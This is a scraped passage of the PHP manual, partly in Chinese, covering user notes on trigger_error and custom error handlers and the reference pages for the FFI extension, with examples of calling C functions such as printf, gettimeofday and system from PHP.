 trigger_error('var must be numeric');
}
}
?>

will output "Notice: var must be numeric in functions.php on line 6"
whereas "Notice: var must be numeric in main.php on line 4" would be more useful

here's a function to do that:

<?php

function error($message, $level=E_USER_NOTICE) {
$caller = next(debug_backtrace());
trigger_error($message.' in <strong>'.$caller['function'].'</strong> called from <strong>'.$caller['file'].'</strong> on line <strong>'.$caller['line'].'</strong>'."\n<br />error handler", $level);
}
?>

So now in our example:

main.php:
<?php
include('functions.php');
$x = 'test';
doFunction($x);
?>

functions.php:
<?php
function doFunction($var) {
    if(is_numeric($var)) {
         /* do some stuff*/
    } else {
         error('var must be numeric');
    }
}

function error($message, $level=E_USER_NOTICE) {
    $caller = next(debug_backtrace());
    trigger_error($message.' in <strong>'.$caller['function'].'</strong> called from <strong>'.$caller['file'].'</strong> on line <strong>'.$caller['line'].'</strong>'."\n<br />error handler", $level);
}
?>

now outputs:

"Notice: var must be numeric in doFunction called from main.php on line 4"
webmaster at paramiliar dot com 03-Jan-2008 11:11
We wanted to be able to pass an SQL query to the error handler on our site so we could monitor SQL problems, you cant do this through normal methods so we came up with this bridge script that 100% works

<?php

function myErrorHandler($errno, $errstr, $errfile, $errline){
    switch ($errno) {
    case E_USER_ERROR:
        if ($errstr == "(SQL)"){
            // handling an sql error
            echo "<b>SQL Error</b> [$errno] " . SQLMESSAGE . "<br />\n";
            echo "Query : " . SQLQUERY . "<br />\n";
            echo "On line " . SQLERRORLINE . " in file " . SQLERRORFILE . " ";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        } else {
            echo "<b>My ERROR</b> [$errno] $errstr<br />\n";
            echo "  Fatal error on line $errline in file $errfile";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        }
        exit(1);
        break;

    case E_USER_WARNING:
    case E_USER_NOTICE:
    }
    /* Don't execute PHP internal error handler */
    return true;
}

// function to test the error handling

function sqlerrorhandler($ERROR, $QUERY, $PHPFILE, $LINE){
    define("SQLQUERY", $QUERY);
    define("SQLMESSAGE", $ERROR);
    define("SQLERRORLINE", $LINE);
    define("SQLERRORFILE", $PHPFILE);
    trigger_error("(SQL)", E_USER_ERROR);
}

set_error_handler("myErrorHandler");

// trigger an sql error
$query = "SELECT * FROM tbl LIMIT 1";
$sql = @mysql_query($query)
    or sqlerrorhandler("(".mysql_errno().") ".mysql_error(), $query, $_SERVER['PHP_SELF'], __LINE__);

?>
richard at 2006 dot atterer dot net 03-Apr-2006 09:28
Beware, trigger_error() is absolutely useless for transporting your own function's error messages in $php_errormsg:

ini_set('track_errors', TRUE);
function x() { trigger_error('MY ERROR'); }
@x();
echo "Error 1: \\"$php_errormsg\\"\\n";
@file_get_contents('/nonexisting');
echo "Error 2: \\"$php_errormsg\\"\\n";

This outputs:

Error 1: ""
Error 2: "failed to open stream: No such file or directory"

This behaviour is consistent with the description of $php_errormsg, which says that the variable will only be available within the scope in which the error occurred. The problem can be worked around with a custom error handler like the one below. However, I'm undecided whether changing the language in this way is good:

function errHandler($errno, $errstr, $errfile, $errline) {
  global $php_errormsg; $php_errormsg = $errstr;
}
set_error_handler('errHandler');
mano at easymail dot hu 26-Apr-2005 05:13
I am not so familiar with this but I think you can reach some of the functionality of try..catch with this function. I would disagree or correct the previous note. The @ is not the catch, it sets the error_reporting to 0 tempolary but with set_error_handler you can try to imitate some behavior like catch.
I've just made this to try if it possible, I never tried in projects but I think could work in php 4. Actually if you want to have the Trace of the error you need to use php4.3+.
Maybe not many of you will create new scripts in php4 and try to have some features from php5 but in some cases (extending older projects) this could be better error handling.

If this is a wrong approach, waiting for comments, if its not, use it!

<?
function catch($errno, $errstr, $errfile, $errline){
    $GLOBALS['throw'] = $errstr;
    $GLOBALS['throw_info'] = array(
        'Message'=>$errstr
        ,'Code'=>$errno
        ,'Line'=>$errline
        ,'File'=>$errfile
        ,'Trace'=>debug_backtrace()
    );

}
set_error_handler('catch');

function badgirl(){
    if(true){ //error occure
        trigger_error("BadGirlWithError",E_USER_NOTICE); // as throw with notice
        return; // ...because trigger_error does not stop the function
    }else{
       return true;
    }
}

// Try
$GLOBALS['throw'] = null; // ...try...
$sheis = badgirl(); //could be @badgirl, display_errors is something else, this just the handling
// ..try
if($GLOBALS['throw']){  // This actually catch re-throws too...
    switch($GLOBALS['throw']){ // Catch
        case 'GoodGirlException':
            die('No bad girl today!');
        break;
        case 'BadGirlWithError':
            die('Bad girl has some error');
        break;
        default:
            return; // or you can make another trigger_error and re-throw another 'exception' or some other action
    }
}
echo "You will never see this line - @ only supress message, not a control flow";
echo "Wrong! You could see this:)";

?>

.mano
dzn'tM@ter 20-Jan-2004 09:05
Some might think that trigger_error is like a throw() or an err.raise construction, and @ works like catch(){} one - in fact it's NOT.

function badgirl(){
    trigger_error("shame on me",E_USER_ERROR);
    return true;
}

$sheis = @badgirl();
echo "You will never see this line - @ only supress message, not a control flow";
robert at klugher dot com 23-Sep-2003 05:12
This one took me some time ...

When you use trigger_error with your own error handler, the class instances are destroyed (don't know how to say it better, I am not an expert).

So, if you try to call a class function from within the error handler function, you will get 'Call to a member function on a non-object' error, even if this function works perfectly in the rest of your script.

Solution : re-use the xxx = new yyy to re-create the instance in the beginning of your error handler ... and then you can call the class functions you want !
mail at dooley dot cjb dot net 29-Jul-2003 07:16
i recently began using a custom error handling class. the biggest problem is that, with call time pass by reference deprecated, you can't manipulate the error handler class after assigning at as the error handler (and it appears not to be returned by the set_error_handler method as the old error handler). my goal was to be able to store up all my non-fatal errors and print them at the end of script execution. that way i can use 'trigger_error' (which i actually have wrapped in a static method ErrorHandler::throwException for portability purposes... which is a pain because it always has the same line number information!!) for all kinds of errors, including user input erros. so when i check a user's password, for instance i would trigger a warning that said 'incorrect password'. of course i would only want this to print out the error once the script had completed.

so in my error handler class i have the following in the constructor:

function ErrorHandler()
{
    $this->error_messages  = array();
    error_reporting (E_ALL);
    set_error_handler(array($this,"assignError"));
}

and my assignError method:
//accept the required arguments
function assignError($errno, $errstr, $errfile, $errline)
{
    //get the error string
    $error_message = $errstr;
//if in debug mode, add line number and file info
 if(ErrorHandler::DEBUG())
 $error_message .= "<br>".basename($errfile).",line: ".$errline;

            switch ($errno)
            {
                //if the error was fatal, then add the error
                //display an error page and exit
                case ErrorHandler::FATAL():
                    $this->setType('Fatal');
                    $this->addError($error_message);
                    Display::errorPage($this->errorMessages());
                    exit(1);
                break;
                //if it was an error message, add a message of
                //type error
                case ErrorHandler::ERROR():
                    $this->setType('Error');
                    $this->addError($error_message);
                break;
                //if it was a warning, add a message of type
                //warning
                case ErrorHandler::WARNING():
                    $this->setType('Warning');
                    $this->addError($error_message);
                break;
                //if it was some other code then display all
                //the error messages that were added
                default:
                    Display::errorRows($this->errorMessages());
                break;
            }
            //return a value so that the script will continue
            //execution
            return 1;
}

the key part there is the 'default' behaviour. i found that if i call trigger_error with anything other than E_USER_ERROR, E_USER_WARNING or E_USER_NOTICE, then error code '2' is passed to the handler method. so when it is time to print all my non-fatal errors, like 'password and confirm password don't match' or something, i call ErrorHandler::printAllErrors()

        function printAllErrors()
        {
            trigger_error("",2);
        }

which leads to the default behaviour in my switch statement in the assignError method above. the only problem with this is that the weird bug 'Problem with method call' that occurs with some static method calls (that one person on the bug lists said was fixed and another said wouldn't be fixed until version 5) also produces error code 2!! i have just taken to suppressing these errors with @, because despite the alledged problem with the method call, the script still seems to execute fine.

iain.
someone at attbi dot com 23-May-2003 09:24
the idea is never to give out file names, line numbers, and cryptic codes to the user. Use trigger_error() after you used set_error_handler() to register your own callback function which either logs or emails the error codes to you, and echo a simple friendly message to the user.

And turn on a more verbose error handler function when you need to debug your scripts. In my init.php scripts I always have:

if (_DEBUG_) {
    set_error_handler ('debug_error_handler');
}
else {
    set_error_handler ('nice_error_handler');
}
sl0th at r00thell dot ath dot cx 20-May-2003 07:25
Well this is a good way on debuging your php scripts, but i wouldn't feel
too comfortable by giving out my web servers structure.
Notice that what helps you finding and isolating errors in your php helps also a potential attacker.
Or maybe i am just paranoid, but its worth mention it.
ceo at l-i-e dot com 28-Oct-2002 05:20
You should be using set_error_handler (possibly in conjuction with error_log and/or trigger_error) if you want FILE and LINE number information.
You don't need macros for this.


别名 trigger_error

  • ? trigger_error
  • FFI ?
  • PHP Manual
  • 错误处理 函数
  • 别名 trigger_error

user_error

(PHP 4, PHP 5, PHP 7, PHP 8)

user_error — 别名 trigger_error()

说明

此函数是该函数的别名： trigger_error().

User Contributed Notes

There are no user contributed notes for this page.


外部函数接口

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • 基础 FFI 用法
    • PHP 回调
    • 完整 PHP/FFI/preloading 示例
  • FFI — C 代码和数据的主接口
    • FFI::addr — Creates an unmanaged pointer to C data
    • FFI::alignof — Gets the alignment
    • FFI::arrayType — Dynamically constructs a new C array type
    • FFI::cast — Performs a C type cast
    • FFI::cdef — Creates a new FFI object
    • FFI::free — Releases an unmanaged data structure
    • FFI::isNull — Checks whether a FFI\CData is a null pointer
    • FFI::load — Loads C declarations from a C header file
    • FFI::memcmp — Compares memory areas
    • FFI::memcpy — Copies one memory area to another
    • FFI::memset — Fills a memory area
    • FFI::new — Creates a C data structure
    • FFI::scope — Instantiates an FFI object with C declarations parsed during preloading
    • FFI::sizeof — Gets the size of C data or types
    • FFI::string — Creates a PHP string from a memory area
    • FFI::type — Creates an FFI\CType object from a C declaration
    • FFI::typeof — Gets the FFI\CType of FFI\CData
  • FFI\CData — C Data Handles
  • FFI\CType — C Type Handles
    • FFI\CType::getAlignment — Description
    • FFI\CType::getArrayElementType — Description
    • FFI\CType::getArrayLength — Description
    • FFI\CType::getAttributes — Description
    • FFI\CType::getEnumKind — Description
    • FFI\CType::getFuncABI — Description
    • FFI\CType::getFuncParameterCount — Description
    • FFI\CType::getFuncParameterType — Description
    • FFI\CType::getFuncReturnType — Description
    • FFI\CType::getKind — Description
    • FFI\CType::getName — Description
    • FFI\CType::getPointerType — Description
    • FFI\CType::getSize — Description
    • FFI\CType::getStructFieldNames — Description
    • FFI\CType::getStructFieldOffset — Description
    • FFI\CType::getStructFieldType — Description
  • FFI\Exception — FFI Exceptions
  • FFI\ParserException — FFI Parser Exceptions

User Contributed Notes

Nathaniel Sabanski 18-May-2023 10:30
Quickstart from Rasmus Lerdorf's 25 years of PHP talk.

<?php
$ffi = FFI::cdef(
    "int printf(const char *format, ...);",
    "libc.so.6");
$ffi->printf("Hello %s!\n", "world");
?>

Requires ffi.enable=1


简介

此扩展允许在纯 PHP 中加载共享库（.DLL 或 .so）、调用 C 函数、访问 C 数据结构，而无需深入了解 Zend 扩展 API，也无需学习第三方"中间"语言。公共 API 是使用包含几个静态方法（有几个可以动态调用）和对象重载方法（执行与 C 数据的实际交互）的 FFI 类实现的。

Caution

FFI 有危险，因为它允许在系统上进行底层交互。FFI 扩展应该仅供有 C 和使用 C API 经验的开发者使用。为了最大限度降低风险，ffi.enable php.ini 指令会限制 FFI API 的使用。

Note:

FFI 扩展不会提供讨厌的过时 PHP 扩展 API，它仅仅是提供了用于 C 函数和数据结构的特殊接口。

Tip

目前，访问 FFI 数据结构比访问原生 PHP 数组和对象慢很多（大约 2 倍）。因此使用 FFI 扩展来提高速度没有意义；减少内存消耗可能有意义。

User Contributed Notes

There are no user contributed notes for this page.


需求

This extension requires the » libffi library to be installed.

User Contributed Notes

There are no user contributed notes for this page.


安装

To enable the FFI extension, PHP has to be configured with --with-ffi.

Windows users have to include php_ffi.dll into php.ini to enable the FFI extension.

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

FFI 配置选项
名字 | 默认 | 可修改范围 | 更新日志
ffi.enable | "preload" | PHP_INI_SYSTEM |
ffi.preload | "" | PHP_INI_SYSTEM |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

ffi.enable string

Allows enabling ("true") or disabling ("false") FFI API usage, or restricting it only to the CLI SAPI and preloaded files ("preload").

The FFI API restrictions only affect the FFI class, but not overloaded functions of FFI\CData objects. This means that it is possible to create some FFI\CData objects in preloaded files, and then to use these directly in PHP scripts.

ffi.preload string

Allows preloading of FFI bindings during startup, which is not possible with FFI::load() if opcache.preload_user is set. This directive accepts a DIRECTORY_SEPARATOR delimited list of filenames. The preloaded bindings can be accessed by calling FFI::scope().

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

此扩展没有定义常量。

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • 基础 FFI 用法
  • PHP 回调
  • 完整 PHP/FFI/preloading 示例

User Contributed Notes

There are no user contributed notes for this page.


基础 FFI 用法

在深入了解 FFI API 细节之前，先看几个示例，展示 FFI API 在常规任务中的简单使用。

Note:

其中一些示例需要 libc.so.6，因此在没有该库的系统上无法运行。

Example #1 从共享库中调用函数

<?php
// 创建 FFI 对象，加载 libc 和输出函数 printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", // 这是普遍的 C 声明
"libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", "world");
?>

以上示例会输出：

Hello world!

Note:

请注意，一些 C 函数需要特定的调用规则，例如 __fastcall、__stdcall 或 __vectorcall。

Example #2 调用函数，通过参数返回结构体

<?php
// 创建 gettimeofday() 绑定
$ffi = FFI::cdef("
typedef unsigned int time_t;
typedef unsigned int suseconds_t;

struct timeval {
time_t tv_sec;
suseconds_t tv_usec;
};

struct timezone {
int tz_minuteswest;
int tz_dsttime;
};

int gettimeofday(struct timeval *tv, struct timezone *tz);
", "libc.so.6");
// 创建 C 数据结构
$tv = $ffi->new("struct timeval");
$tz = $ffi->new("struct timezone");
// 调用 C 的 gettimeofday()
var_dump($ffi->gettimeofday(FFI::addr($tv), FFI::addr($tz)));
// 访问 C 数据结构的字段
var_dump($tv->tv_sec);
// 打印完整数据结构
var_dump($tz);
?>

以上示例的输出类似于：

int(0)
int(1555946835)
object(FFI\CData:struct timezone)#3 (2) {
  ["tz_minuteswest"]=>
  int(0)
  ["tz_dsttime"]=>
  int(0)
}

Example #3 访问已存在的 C 变量

<?php
// 创建 FFI 对象，加载 libc 和输出 errno 变量
$ffi = FFI::cdef(
"int errno;", // 这是普遍的 C 声明
"libc.so.6");
// print C's errno
var_dump($ffi->errno);
?>

以上示例会输出：

int(0)

Example #4 创建和修改 C 变量

<?php
// 创建新的 C int 变量
$x = FFI::new("int");
var_dump($x->cdata);

// 简单赋值
$x->cdata = 5;
var_dump($x->cdata);

// 复合赋值
$x->cdata += 2;
var_dump($x->cdata);
?>

以上示例会输出：

int(0)
int(5)
int(7)

Example #5 使用 C 数组

<?php
// 创建 C 数据结构
$a = FFI::new("long[1024]");
// 使用它就像使用常规数组
for ($i = 0; $i < count($a); $i++) {
$a[$i] = $i;
}
var_dump($a[25]);
$sum = 0;
foreach ($a as $n) {
$sum += $n;
}
var_dump($sum);
var_dump(count($a));
var_dump(FFI::sizeof($a));
?>

以上示例会输出：

int(25)
int(523776)
int(1024)
int(8192)

Example #6 使用 C 枚举

<?php
$a = FFI::cdef('typedef enum _zend_ffi_symbol_kind {
ZEND_FFI_SYM_TYPE,
ZEND_FFI_SYM_CONST = 2,
ZEND_FFI_SYM_VAR,
ZEND_FFI_SYM_FUNC
} zend_ffi_symbol_kind;
');
var_dump($a->ZEND_FFI_SYM_TYPE);
var_dump($a->ZEND_FFI_SYM_CONST);
var_dump($a->ZEND_FFI_SYM_VAR);
?>

以上示例会输出：

int(0)
int(2)
int(3)

User Contributed Notes

wowabbs+php at gmail dot com 11-Dec-2020 07:42
<?
  if(!dl("ffi")) // Load the extension
      throw new Exception('Cound not load the FFI extension.');

  function setWindowsDesktop($bmpFilePath)
  {
    define('SPI_SETDESKWALLPAPER'  , 0x14);
    define('SPIF_UPDATEINIFILE'    ,  0x1);
    define('SPIF_SENDWININICHANGE' ,  0x2);
    assert(File_Exists($bmpFilePath));

    // declare the Win32 API function used to change desktop settings.
    $User32 = FFI::cdef(<<<'IDL'
      int SystemParametersInfoA(int uAction, int uParam, char *lpvParam, int fuWinIni);
    IDL, 'User32.dll');
    $Kernel32 = FFI::cdef(<<<'IDL'
      int GetLastError();
    IDL, 'Kernel32.dll');
    // call the Windows API to update the desktop background.
    $Ret = $User32->SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, $bmpFilePath, SPIF_UPDATEINIFILE || SPIF_SENDWININICHANGE);
    if ($Ret == 0)
    {
      $Error = $Kernel32->GetLastError();
      throw new Exception("The call to the Windows API failed (error {$Error}).");
    }
  }

  $Url='https://www.php.net//images/news/phpkonf_2015.png';
  $Img=File_Get_Contents($Url);
  File_Put_Contents($File=basename($Url), $Img);
  setWindowsDesktop(realpath($File));
?>


PHP 回调

可以将 PHP 闭包分配给函数指针类型的原生变量，或将其作为函数参数传递。

<?php
$zend = FFI::cdef("
typedef int (*zend_write_func_t)(const char *str, size_t str_length);
extern zend_write_func_t zend_write;
");

echo "Hello World 1!\n";

$orig_zend_write = clone $zend->zend_write;
$zend->zend_write = function($str, $len) {
global $orig_zend_write;
$orig_zend_write("{\n\t", 3);
$ret = $orig_zend_write($str, $len);
$orig_zend_write("}\n", 2);
return $ret;
};
echo "Hello World 2!\n";
$zend->zend_write = $orig_zend_write;
echo "Hello World 3!\n";
?>

以上示例会输出：

Hello World 1!
{
        Hello World 2!
}
Hello World 3!
虽然这样可以运行，但并非所有的 libffi 平台都支持这个功能，而且效率不高，并且在请求结束时会泄漏资源。
Tip

因此，建议尽量减少使用 PHP 回调函数。

User Contributed Notes

There are no user contributed notes for this page.


完整 PHP/FFI/preloading 示例

php.ini

ffi.enable=preload
opcache.preload=preload.php

preload.php

<?php
FFI::load(__DIR__ . "/dummy.h");
opcache_compile_file(__DIR__ . "/dummy.php");
?>

dummy.h

#define FFI_SCOPE "DUMMY"
#define FFI_LIB "libc.so.6"

int printf(const char *format, ...);

dummy.php

<?php
final class Dummy {
private static $ffi = null;
function __construct() {
if (is_null(self::$ffi)) {
self::$ffi = FFI::scope("DUMMY");
}
}
function printf($format, ...$args) {
return (int)self::$ffi->printf($format, ...$args);
}
}
?>

test.php

<?php
$d = new Dummy();
$d->printf("Hello %s!\n", "world");
?>

User Contributed Notes

There are no user contributed notes for this page.


C 代码和数据的主接口

(PHP 7 >= 7.4.0, PHP 8)

简介

通过工厂方法 FFI::cdef()、FFI::load() 或 FFI::scope() 创建该类的对象。定义的 C 变量作为有效的 FFI 实例属性，定义的 C 函数作为有效的 FFI 实例方法。声明的 C 类型可以用于 FFI::new() 和 FFI::type() 创建新的 C 数据结构。

FFI 定义解析和共享库加载可能需要较长时间。在 Web 环境中，每个 HTTP 请求都进行这些操作是没有意义的。然而，在 PHP 启动时预加载 FFI 定义和库，并在需要时实例化 FFI 对象是可能的。header 文件可以使用特殊的 FFI_SCOPE 定义进行扩展（例如 #define FFI_SCOPE "foo"），然后在预加载期间由 FFI::load() 加载。这将创建持久绑定，将通过 FFI::scope() 在所有后续请求中可用。有关详细信息，请参阅完整的 PHP/FFI/preloading 示例。

可以将多个 C header 文件预加载到同一作用域中。

类摘要

final class FFI {
/* 常量 */
public const int __BIGGEST_ALIGNMENT__;
/* 方法 */
public static addr(FFI\CData &$ptr): FFI\CData
public static alignof(FFI\CData|FFI\CType &$ptr): int
public static arrayType(FFI\CType $type, array $dimensions): FFI\CType
public static cast(FFI\CType|string $type, FFI\CData|int|float|bool|null &$ptr): ?FFI\CData
public cast(FFI\CType|string $type, FFI\CData|int|float|bool|null &$ptr): ?FFI\CData
public static cdef(string $code = "", ?string $lib = null): FFI
public static free(FFI\CData &$ptr): void
public static isNull(FFI\CData &$ptr): bool
public static load(string $filename): ?FFI
public static memcmp(string|FFI\CData &$ptr1, string|FFI\CData &$ptr2, int $size): int
public static memcpy(FFI\CData &$to, FFI\CData|string &$from, int $size): void
public static memset(FFI\CData &$ptr, int $value, int $size): void
public static new(FFI\CType|string $type, bool $owned = true, bool $persistent = false): ?FFI\CData
public new(FFI\CType|string $type, bool $owned = true, bool $persistent = false): ?FFI\CData
public static scope(string $name): FFI
public static sizeof(FFI\CData|FFI\CType &$ptr): int
public static string(FFI\CData &$ptr, ?int $size = null): string
public static type(string $type): ?FFI\CType
public type(string $type): ?FFI\CType
public static typeof(FFI\CData &$ptr): FFI\CType
}

预定义常量

FFI::__BIGGEST_ALIGNMENT__

Table of Contents

  • FFI::addr — Creates an unmanaged pointer to C data
  • FFI::alignof — Gets the alignment
  • FFI::arrayType — Dynamically constructs a new C array type
  • FFI::cast — Performs a C type cast
  • FFI::cdef — Creates a new FFI object
  • FFI::free — Releases an unmanaged data structure
  • FFI::isNull — Checks whether a FFI\CData is a null pointer
  • FFI::load — Loads C declarations from a C header file
  • FFI::memcmp — Compares memory areas
  • FFI::memcpy — Copies one memory area to another
  • FFI::memset — Fills a memory area
  • FFI::new — Creates a C data structure
  • FFI::scope — Instantiates an FFI object with C declarations parsed during preloading
  • FFI::sizeof — Gets the size of C data or types
  • FFI::string — Creates a PHP string from a memory area
  • FFI::type — Creates an FFI\CType object from a C declaration
  • FFI::typeof — Gets the FFI\CType of FFI\CData

User Contributed Notes

There are no user contributed notes for this page.


Creates an unmanaged pointer to C data

  • ? FFI
  • FFI::alignof ?
  • PHP Manual
  • FFI
  • Creates an unmanaged pointer to C data

FFI::addr

(PHP 7 >= 7.4.0, PHP 8)

FFI::addr — Creates an unmanaged pointer to C data

说明

public static FFI::addr(FFI\CData &$ptr): FFI\CData

Creates an unmanaged pointer to the C data represented by the given FFI\CData. The source ptr must survive the resulting pointer. This function is mainly useful to pass arguments to C functions by pointer.

参数

ptr

The handle of the pointer to a C data structure.

返回值

Returns the freshly created FFI\CData object.

User Contributed Notes

There are no user contributed notes for this page.


Gets the alignment

  • ? FFI::addr
  • FFI::arrayType ?
  • PHP Manual
  • FFI
  • Gets the alignment

FFI::alignof

(PHP 7 >= 7.4.0, PHP 8)

FFI::alignof — Gets the alignment

说明

public static FFI::alignof(FFI\CData|FFI\CType &$ptr): int

Gets the alignment of the given FFI\CData or FFI\CType object.

参数

ptr

The handle of the C data or type.

返回值

Returns the alignment of the given FFI\CData or FFI\CType object.

User Contributed Notes

There are no user contributed notes for this page.


Dynamically constructs a new C array type

  • ? FFI::alignof
  • FFI::cast ?
  • PHP Manual
  • FFI
  • Dynamically constructs a new C array type

FFI::arrayType

(PHP 7 >= 7.4.0, PHP 8)

FFI::arrayType — Dynamically constructs a new C array type

说明

public static FFI::arrayType(FFI\CType $type, array $dimensions): FFI\CType

Dynamically constructs a new C array type with elements of type defined by type, and dimensions specified by dimensions. In the following example $t1 and $t2 are equivalent array types:

<?php
$t1 = FFI::type("int[2][3]");
$t2 = FFI::arrayType(FFI::type("int"), [2, 3]);
?>

参数

type

A valid C declaration as string, or an instance of FFI\CType which has already been created.

dimensions

The dimensions of the type as array.

返回值

Returns the freshly created FFI\CType object.

User Contributed Notes

There are no user contributed notes for this page.


Performs a C type cast

  • ? FFI::arrayType
  • FFI::cdef ?
  • PHP Manual
  • FFI
  • Performs a C type cast

FFI::cast

(PHP 7 >= 7.4.0, PHP 8)

FFI::cast — Performs a C type cast

说明

public static FFI::cast(FFI\CType|string $type, FFI\CData|int|float|bool|null &$ptr): ?FFI\CData
public FFI::cast(FFI\CType|string $type, FFI\CData|int|float|bool|null &$ptr): ?FFI\CData

FFI::cast() creates a new FFI\CData object, that references the same C data structure, but is associated with a different type. The resulting object does not own the C data, and the source ptr must survive the result. The C type may be specified as a string with any valid C type declaration or as FFI\CType object, created before. If this method is called statically, it must only use predefined C type names (e.g. int, char, etc.); if the method is called as instance method, any type declared for the instance is allowed.

参数

type

A valid C declaration as string, or an instance of FFI\CType which has already been created.

ptr

The handle of the pointer to a C data structure.

返回值

Returns the freshly created FFI\CData object.

User Contributed Notes

Yaner 13-Nov-2022 09:40
For example, stdlib.h headfile defines a function called "system()" in Linux:  extern int system (const char *__command) __wur;
And we can call it using FFI extension:

<?php
    $ffi_obj = FFI::cdef('int system(char *command);')
    $ffi_obj->system('whoami');
?>

Then execute the php script as if we were calling the real C  `system()`:

$ whoami
> root
$ php demo.php
> root


Creates a new FFI object

  • ? FFI::cast
  • FFI::free ?
  • PHP Manual
  • FFI
  • Creates a new FFI object

FFI::cdef

(PHP 7 >= 7.4.0, PHP 8)

FFI::cdef — Creates a new FFI object

说明

public static FFI::cdef(string $code = "", ?string $lib = null): FFI

Creates a new FFI object.

参数

code

A string containing a sequence of declarations in regular C language (types, structures, functions, variables, etc). Actually, this string may be copy-pasted from C header files.

Note:

C preprocessor directives are not supported, i.e. #include, #define and CPP macros do not work.

lib

The name of a shared library file, to be loaded and linked with the definitions.

Note:

If lib is omitted or null, platforms supporting RTLD_DEFAULT attempt to lookup symbols declared in code in the normal global scope. Other systems will fail to resolve these symbols.

返回值

Returns the freshly created FFI object.

更新日志

版本 | 说明
8.0.0 | lib is nullable now.

User Contributed Notes

derrekbertrand at gmail dot com 27-Feb-2020 10:33
You'll probably want to add a C header file, but as of the current version preprocessor directives do not work... so what do? On systems with GCC run the file through this command:

cpp -P /usr/include/unprocessedheader.h -o myprettyheader.h

Note that because preprocessing is not suppored in FFI, C/C++ macros are not supported either. You'll probably still have to write a small wrapper in C unless your library has an exceedingly simple public API.


Releases an unmanaged data structure

  • ? FFI::cdef
  • FFI::isNull ?
  • PHP Manual
  • FFI
  • Releases an unmanaged data structure

FFI::free

(PHP 7 >= 7.4.0, PHP 8)

FFI::free — Releases an unmanaged data structure

说明

public static FFI::free(FFI\CData &$ptr): void

Manually releases a previously created unmanaged data structure.

参数

ptr

The handle of the unmanaged pointer to a C data structure.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Checks whether a FFI\CData is a null pointer

  • ? FFI::free
  • FFI::load ?
  • PHP Manual
  • FFI
  • Checks whether a FFI\CData is a null pointer

FFI::isNull

(PHP 7 >= 7.4.0, PHP 8)

FFI::isNull — Checks whether a FFI\CData is a null pointer

说明

public static FFI::isNull(FFI\CData &$ptr): bool

Checks whether a FFI\CData is a null pointer.

参数

ptr

The handle of the pointer to a C data structure.

返回值

Returns whether a FFI\CData is a null pointer.

User Contributed Notes

There are no user contributed notes for this page.


Loads C declarations from a C header file

  • ? FFI::isNull
  • FFI::memcmp ?
  • PHP Manual
  • FFI
  • Loads C declarations from a C header file

FFI::load

(PHP 7 >= 7.4.0, PHP 8)

FFI::load — Loads C declarations from a C header file

说明

public static FFI::load(string $filename): ?FFI

Loads C declarations from a C header file. It is possible to specify shared libraries that should be loaded, using special FFI_LIB defines in the loaded C header file.

参数

filename

The name of a C header file.

C preprocessor directives are not supported, i.e. #include, #define and CPP macros do not work, except for special cases listed below.

The header file should contain a #define statement for the FFI_SCOPE variable, e.g.: #define FFI_SCOPE "MYLIB". Refer to the class introduction for details.

The header file may contain a #define statement for the FFI_LIB variable to specify the library it exposes. If it is a system library only the file name is required, e.g.: #define FFI_LIB "libc.so.6". If it is a custom library, a relative path is required, e.g.: #define FFI_LIB "./mylib.so".

返回值

Returns the freshly created FFI object, or null on failure.

参见

  • FFI::scope() - Instantiates an FFI object with C declarations parsed during preloading

User Contributed Notes

jungmann0 at gmail dot com 20-Jun-2020 07:20
Since #include's and #define's other than FFI_LIB and FFI_SCOPE are not supported in the header, you may want to use the C preprocessor to pre-process your headers in order to resolve all #include's and macros.

I use -D"__attribute__(ARGS)=" to remove function attributes as well, which are not supported by FFI either.

This is my script:

echo '#define FFI_SCOPE "YOUR_SCOPE"' > header-ffi.h
echo '#define FFI_LIB "/path/to/your_lib.so"' >> header-ffi.h
cpp -P -C -D"__attribute__(ARGS)=" header_original >> header-ffi.h
ojrask at gmail dot com 03-Feb-2020 07:23
Regarding the `FFI_LIB` constant:

The path given can be either relative, or absolute, or then refer to a library that is in your global libraries path (i.e. where libc.so.6 and friends are).

The absolute path and global lib path work as expected. The relative path does not work from the header file path, but the current working directory instead. So when you create header files for FFI usage, remember that the PHP script can be called anywhere and this means any relative paths in `FFI_LIB` will most probably fail.

Not sure if there is some possibility to make it use paths relative to the script being called, or relative to the header file being loaded. That would make more sense to me at least.

Right now `FFI_LIB` is quite unusable when it comes to making FFI-powered PHP packages that can be installed literally anywhere on a system. `FFI::cdef` works just as well, but `FFI::scope` also seems to rely on `FFI_LIB` meaning it will fail with relative paths as well.

I guess this comes from the C function `dlopen` as is.


Compares memory areas

  • ? FFI::load
  • FFI::memcpy ?
  • PHP Manual
  • FFI
  • Compares memory areas

FFI::memcmp

(PHP 7 >= 7.4.0, PHP 8)

FFI::memcmp — Compares memory areas

说明

public static FFI::memcmp(string|FFI\CData &$ptr1, string|FFI\CData &$ptr2, int $size): int

Compares size bytes from the memory areas ptr1 and ptr2. Both ptr1 and ptr2 can be any native data structures (FFI\CData) or PHP strings.

参数

ptr1

The start of one memory area.

ptr2

The start of another memory area.

size

The number of bytes to compare.

返回值

Returns a value less than 0 if the contents of the memory area starting at ptr1 are considered less than the contents of the memory area starting at ptr2, a value greater than 0 if the contents of the first memory area are considered greater than the second, and 0 if they are equal.

User Contributed Notes

There are no user contributed notes for this page.


Copies one memory area to another

  • ? FFI::memcmp
  • FFI::memset ?
  • PHP Manual
  • FFI
  • Copies one memory area to another

FFI::memcpy

(PHP 7 >= 7.4.0, PHP 8)

FFI::memcpy — Copies one memory area to another

说明

public static FFI::memcpy(FFI\CData &$to, FFI\CData|string &$from, int $size): void

Copies size bytes from the memory area from to the memory area to.

参数

to

The start of the memory area to copy to.

from

The start of the memory area to copy from.

size

The number of bytes to copy.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


